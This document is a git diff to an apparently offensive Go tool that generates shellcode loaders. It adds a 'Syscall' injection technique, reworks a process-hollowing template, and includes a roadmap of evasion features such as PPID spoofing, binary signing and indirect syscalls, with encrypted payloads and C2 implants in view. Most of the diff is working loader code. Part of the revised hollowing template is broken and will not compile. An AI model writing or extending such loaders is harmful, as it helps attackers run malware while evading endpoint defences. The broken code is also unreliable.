diff --git a/TODO.txt b/TODO.txt
@@ -4,11 +4,6 @@
Templates:
- ProcessHollowing
- - syscall method
-
-Misc:
- - support for loading modules from PEB
- - Research indirect syscalls
#############################
@@ -24,6 +19,20 @@ Sleep / jitter:
- Ekko
Misc:
- - indirect syscalls
+ - support for loading modules from PEB
+ - Research indirect syscalls
- Refactoring CLI options to interfaces
- - support for dameonizing
+
+Commands:
+ - Add support for GoVersionInfo
+ - Add support for signing binary
+
+
+#############################
+####### ROADMAP 2.2.0 #######
+#############################
+
+Misc:
+ - indirect syscalls
+ - support for dameonizing ?
+ - introduce ppid spoofing ?
diff --git a/cli/parser.go b/cli/parser.go
@@ -203,7 +203,7 @@ func GetParser(opts *Options) *cobra.Command {
tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
os.RemoveAll(MYPH_TMP_DIR)
- println("[+] Done!")
+ fmt.Printf("[+] Done! Out file is in %s\n", opts.OutName)
},
}
@@ -212,7 +212,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread)")
+ cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
diff --git a/cli/types.go b/cli/types.go
@@ -15,6 +15,7 @@ const (
EncKindC20 encKind = "chacha20"
CRT technique = "CRT"
+ SYSCALL technique = "Syscall"
CreateThread technique = "CreateThread"
ProcessHollowing technique = "ProcessHollowing"
)
@@ -48,11 +49,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -15,7 +15,6 @@ func GetProcessHollowingTemplate(targetProcess string) string {
import (
"os"
- "fmt"
"syscall"
"unsafe"
)
@@ -25,15 +24,19 @@ const (
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
- CREATE_SUSPENDED = 0x00000004
- DETACHED_PROCESS = 0x00000008
- CREATE_NO_WINDOW = 0x08000000
+ SEC_COMMIT = 0x08000000
+ SECTION_ALL_ACCESS = 0x000F001F
+ CREATE_SUSPENDED = 0x00000004
+ DETACHED_PROCESS = 0x00000008
+ CREATE_NO_WINDOW = 0x08000000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
+ zwCreateSection = ntdll.MustFindProc("ZwCreateSection")
+
virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
rtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
createThread = kernel32.MustFindProc("CreateThread")
@@ -70,45 +73,28 @@ func loadProcess(target string) *syscall.ProcessInformation {
panic(err)
}
- fmt.Println("[+] Created process in suspended state")
+ println("[+] Created process in suspended state")
return &pi
}
func ExecuteOrderSixtySix(payload []byte) {
-
- // Create the process
process := loadProcess("%s")
- // Allocate memory for the payload in the target process
- payloadAddr, _, _ := virtualAlloc.Call(
- 0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
- ); if payloadAddr == 0 {
- os.Exit(1)
- }
-
- fmt.Printf("[+] Payload addr: %%#lx \n", payloadAddr)
-
- // Copy the payload to the target process
- _, _, _ = rtlCopyMemory.Call(
- payloadAddr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)),
- )
- fmt.Println("[+] rtlCopyMemory done")
+ var hShellcode
+ sectionSize := int64(len(shellcode))
+ _, _, _ = ZwCreateSection.Call(
+ uintptr(unsafe.Pointer(&hShellcode)),
+ SECTION_ALL_ACCESS,
+ nil,
+ uintptr(unsafe.Pointer(sectionSize)),
+ PAGE_EXECUTE_READWRITE,
+ SEC_COMMIT,
+ nil,
+ )
- // Create a remote thread to execute the payload
- var threadID uint32
- threadHandle, _, _ := createThread.Call(
- 0, 0, payloadAddr, 0, 0, uintptr(unsafe.Pointer(&threadID)),
- ); if threadHandle == 0 {
- os.Exit(1)
- }
- defer syscall.CloseHandle(syscall.Handle(threadHandle))
- fmt.Println("[+] createThread done")
- // Resume the suspended main thread to allow the payload to execute
- resumeThread.Call(uintptr(process.Thread))
- fmt.Println("[+] resumeThread done")
/* block, so that process does not die (useful for C2 implants) */
select {}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -0,0 +1,41 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetSyscallTemplate(targetProcess string) string {
+ _ = targetProcess // unused in this technique
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_READWRITE = 0x04
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ kernel32 := syscall.MustLoadDLL("kernel32.dll")
+ ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect := kernel32.MustFindProc("VirtualProtect")
+ RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+
+ addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+ _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+ oldProtect := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+ _, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+}
+ `)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -12,6 +12,9 @@ func SelectTemplate(templateName string) func(string) string {
case "ProcessHollowing":
return GetProcessHollowingTemplate
+ case "Syscall":
+ return GetSyscallTemplate
+
}
return nil
| | | | | |